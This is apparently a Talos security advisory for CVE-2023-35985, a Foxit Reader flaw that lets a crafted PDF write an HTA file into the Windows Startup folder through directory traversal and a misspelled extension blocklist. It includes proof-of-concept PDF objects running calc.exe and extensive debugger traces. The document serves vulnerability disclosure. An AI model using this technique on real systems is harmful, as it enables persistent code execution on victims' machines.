CVE-2023-35985
An arbitrary file creation vulnerability exists in the Javascript exportDataObject API of Foxit Reader 12.1.3.15356 due to a failure to properly validate a dangerous extension. A specially crafted malicious file can create files at arbitrary locations, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted malicious site if the browser plugin extension is enabled.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader 12.1.3.15356
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-73 - External Control of File Name or Path
Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists an HTA file creation vulnerability in the way Foxit Reader handles the exportDataObject
method of the Doc
object. The exportDataObject
method extracts the data object specified via the cName
parameter to an external file. This method can launch the file once it is created if the nLaunch
parameter of the method is set to 2. This can be illustrated by the following proof-of-concept code:
5 0 obj
<</S/JavaScript/JS(\n\nfunction main\(\) {
console.show\(\);
this.exportDataObject\({ cName:"MyData", nLaunch: 2}\);
}
main\(\);
)/Type/Action>>
endobj
6 0 obj
<</Length 6/Params<</ModDate(D:20230731134730-08'00')/Size 6/CheckSum<FA0903293EC8FC1F19087D0EB2FFDED8>/CreationDate(D:20230731133537-08'00')>>/Subtype/application#2Fhta/Type/EmbeddedFile>>
stream
<script language='jscript'>var cmd = 'cmd.exe /c calc.exe'; new ActiveXObject('WScript.Shell').Run(cmd);</script>
endstream
endobj
7 0 obj
<</UF(..\/..\/..\/..\/..\/AppData\/Roaming\/Microsoft\/Windows\/Start Menu\/Programs\/Startup\/exploit.htm)/EF<</F 6 0 R>>/Desc()/F(exploit.hta)/Type/Filespec>>
endobj
8 0 obj
<</EmbeddedFiles 9 0 R>>
endobj
9 0 obj
<</Names[<FEFF004D00790044006100740061>7 0 R]>>
endobj
Here, the object 9
contains the MyData
data object. FEFF004D00790044006100740061
is the hexadecimal unicode value of the string MyData
. The exportDataObject
method extracts this data object and writes it to the file indicated by the UF
key of the object 7
. In this case, an HTA file is written to the disk. The content of the file is the stream object of the object 6
, which contains JavaScript code to run the calc.exe
application.
The Foxit application saves the new file to the temp directory, but it doesn’t check for the directory traversal characters, i.e. dot-dot-slash (“../”), before appending the filename indicated by the UF
key to the temporary directory path. This allows the use of the directory traversal vulnerability to write files to an arbitrary path. We can observe the following in the debugger:
0:000> g
Breakpoint 6 hit
eax=0f49e96c ebx=0e7fb3a0 ecx=1f2842b4 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3014 esp=073fb704 ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbc4:
017e3014 8d8dc4d7ffff lea ecx,[ebp-283Ch]
0:000> p
eax=0f49e96c ebx=0e7fb3a0 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e301a esp=073fb704 ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbca:
017e301a 51 push ecx
0:000> p
eax=0f49e96c ebx=0e7fb3a0 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e301b esp=073fb700 ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbcb:
017e301b 6801100000 push 1001h
0:000> p
eax=0f49e96c ebx=0e7fb3a0 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3020 esp=073fb6fc ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd0:
017e3020 50 push eax
0:000> dd eax
0f49e96c 003a0043 0055005c 00650073 00730072
0f49e97c 0064005c 00760065 0041005c 00700070
0f49e98c 00610044 00610074 004c005c 0063006f
0f49e99c 006c0061 0054005c 006d0065 005c0070
0f49e9ac 00660024 00640072 005c005f 00390046
0f49e9bc 00380052 00300030 002e0043 006d0074
0f49e9cc 005c0070 002e002e 002e002f 002f002e
0f49e9dc 002e002e 002e002f 002f002e 002e002e
0:000> du eax ; <--------- [1]
0f49e96c "C:\Users\dev\AppData\Local\Temp\"
0f49e9ac "$frd_\F9R800C.tmp\../../../../.."
0f49e9ec "/AppData/Roaming/Microsoft/Windo"
0f49ea2c "ws/Start Menu/Programs/Startup/e"
0f49ea6c "xploit.hta"
0:000> p
eax=0f49e96c ebx=0e7fb3a0 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3021 esp=073fb6f8 ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd1:
017e3021 8d8dd8d7ffff lea ecx,[ebp-2828h]
0:000> p
eax=0f49e96c ebx=0e7fb3a0 ecx=073fb728 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3027 esp=073fb6f8 ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd7:
017e3027 e8f2b38302 call FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1dcaee (0401e41e) ; <--------- [2]
0:000> p
eax=00000001 ebx=0e7fb3a0 ecx=1817f444 edx=00000006 esi=073fdfb8 edi=00000000
eip=017e302c esp=073fb704 ebp=073fdf50 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbdc:
017e302c 85c0 test eax,eax
At [1]
above, we can see that the filename is created without filtering the directory traversal characters. The CFile::Open
function is called at [2]
which creates the file successfully.
The application checks the extension of the file against a blocklist filter of known suspicious file types. Some of the blocklist extensions are as follows:
.text:017E48BD mov [ebp+var_13C], offset aDtd ; "dtd"
.text:017E48C7 mov [ebp+var_138], offset aExe_0 ; "exe"
.text:017E48D1 mov [ebp+var_134], offset aFxp ; "fxp"
.text:017E48DB mov [ebp+var_130], offset aGrp ; "grp"
.text:017E48E5 mov [ebp+var_12C], offset aH1s ; "h1s"
.text:017E48EF mov [ebp+var_128], offset aHlp ; "hlp"
.text:017E48F9 mov [ebp+var_124], offset aHta ; "hta " ;<---------- [3]
.text:017E4903 mov [ebp+var_120], offset aIme ; "ime"
.text:017E490D mov [ebp+var_11C], offset aInf_0 ; "inf"
.text:017E4917 mov [ebp+var_118], offset aIns ; "ins"
.text:017E4921 mov [ebp+var_114], offset aIsp ; "isp"
At [3]
above, we can observe that application is filtering files with the extension hta%20
. This means files with extension hta
are not filtered. We can observe the following in the debugger:
0:000> g
Breakpoint 1 hit
eax=0f8da098 ebx=0fb9bce8 ecx=073fdb40 edx=0000005e esi=00000000 edi=073fdd38
eip=017e4bb7 esp=073fdb34 ebp=073fdd08 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad767:
017e4bb7 e824746d00 call FoxitPDFReader!safe_vsnprintf+0x52e880 (01ebbfe0)
0:000> p
eax=0b4764e8 ebx=0fb9bce8 ecx=073fdb40 edx=00000000 esi=00000000 edi=073fdd38
eip=017e4bbc esp=073fdb38 ebp=073fdd08 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad76c:
017e4bbc 50 push eax ;<-------------------- [4]
0:000> dd eax
0b4764e8 0f8dd650 0f8dd860 0f8dd848 0f8dde60
0b4764f8 0f8ddea8 0f8dd818 0f8dd698 0f8dd878
0b476508 0f8dd890 0f8dd8a8 0f8dd8c0 0f8dd8d8
0b476518 0f8dd8f0 0f8dd908 0f8dd920 0f8dd938
0b476528 0f8dd950 0f8dd968 0f8dd980 0f8dd998
0b476538 0f8dd9b0 0f8dd9c8 0f8dd9e0 0f8dd9f8
0b476548 0f8dda10 0f8dda28 0f8dda40 0f8dda58
0b476558 0f8dda70 0f8dda88 0f8ddaa0 0f8ddab8
0:000> du 0f8dd650+c
0f8dd65c "acm"
0:000> du 0f8dd860+c
0f8dd86c "ade"
0:000> du 0f8ddaa0+c
0f8ddaac "hta "
0:000> du 0f8ddab8+c
0f8ddac4 "ime"
0:000> p
eax=0b4764e8 ebx=0fb9bce8 ecx=073fdb40 edx=00000000 esi=00000000 edi=073fdd38
eip=017e4bbd esp=073fdb34 ebp=073fdd08 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad76d:
017e4bbd 8d8d5cfeffff lea ecx,[ebp-1A4h]
0:000> p
eax=0b4764e8 ebx=0fb9bce8 ecx=073fdb64 edx=00000000 esi=00000000 edi=073fdd38
eip=017e4bc3 esp=073fdb34 ebp=073fdd08 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad773:
017e4bc3 e8382f6d00 call FoxitPDFReader!safe_vsnprintf+0x52a3a0 (01eb7b00) ; <------------------------- [5]
0:000> dd ecx
073fdb64 0f8dd830 00000000 04a13aec 04a13af4
073fdb74 04a13afc 04a13b04 04a13b0c 04a13b14
073fdb84 04a13b1c 04a13b28 04a13b30 04a13b38
073fdb94 04a13b40 04a13b48 04a13b50 04a13b58
073fdba4 04a13b60 04a13b68 04a13b70 04a13b78
073fdbb4 04a13b80 04a13b88 04a13b90 04a13b98
073fdbc4 049918bc 04a13ba0 04a13ba8 049d1d20
073fdbd4 04a13bb0 04a13bb8 04a13bc0 04a13bc8
0:000> du 0f8dd830+c ; <---------------------------- [6]
0f8dd83c "hta"
0:000> p
eax=00000001 ebx=0fb9bce8 ecx=00000000 edx=00000068 esi=00000000 edi=073fdd38
eip=017e4bc8 esp=073fdb38 ebp=073fdd08 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3ad778:
017e4bc8 85c0 test eax,eax ; <------------------------- [7]
0:000> g
Breakpoint 2 hit
eax=0f49e96c ebx=0fb9bce8 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e301b esp=073fb700 ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbcb:
017e301b 6801100000 push 1001h
0:000> p
eax=0f49e96c ebx=0fb9bce8 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3020 esp=073fb6fc ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd0:
017e3020 50 push eax
0:000> du eax ; <-------------------------------[8]
0f49e96c "C:\Users\dev\AppData\Local\Temp\"
0f49e9ac "$frd_\F9R2E51.tmp\../../../../.."
0f49e9ec "/AppData/Roaming/Microsoft/Windo"
0f49ea2c "ws/Start Menu/Programs/Startup/e"
0f49ea6c "xploit.hta"
0:000> p
eax=0f49e96c ebx=0fb9bce8 ecx=073fb714 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3021 esp=073fb6f8 ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd1:
017e3021 8d8dd8d7ffff lea ecx,[ebp-2828h]
0:000> p
eax=0f49e96c ebx=0fb9bce8 ecx=073fb728 edx=00000000 esi=073fdfb8 edi=00000000
eip=017e3027 esp=073fb6f8 ebp=073fdf50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbd7:
017e3027 e8f2b38302 call FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1dcaee (0401e41e) ;<------------------------------------[9]
0:000> p
eax=00000001 ebx=0fb9bce8 ecx=1817f444 edx=00000006 esi=073fdfb8 edi=00000000
eip=017e302c esp=073fb704 ebp=073fdf50 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3abbdc:
017e302c 85c0 test eax,eax ;<------------------------------------[10]
At [4]
, the argument of the method at [5]
is pushed onto the stack. The value being pushed comes from the register eax
, which contains the disallowed file extensions. At [6]
, the this
object of the method contains the extension of the given filename, which is the string “hta”. The method called at [5]
performs the string comparison, which fail as the string “hta” is not present in the disallowed list. The comparison results can be observed at [7]
. Later on, the filename was passed to CFile::Open
at [9]
, which created the file successfully. The non-zero value at [10]
indicates that the open was successful.
HTA files represent “HTML Applications” and can contain arbitrary code. This vulnerability allows the creation of HTA files. The execution of these files leads to arbitrary code execution.
2023-08-28 - Vendor Disclosure
2023-11-22 - Vendor Patch Release
2023-11-27 - Public Release
Discovered by Kamlapati Choubey of Cisco Talos.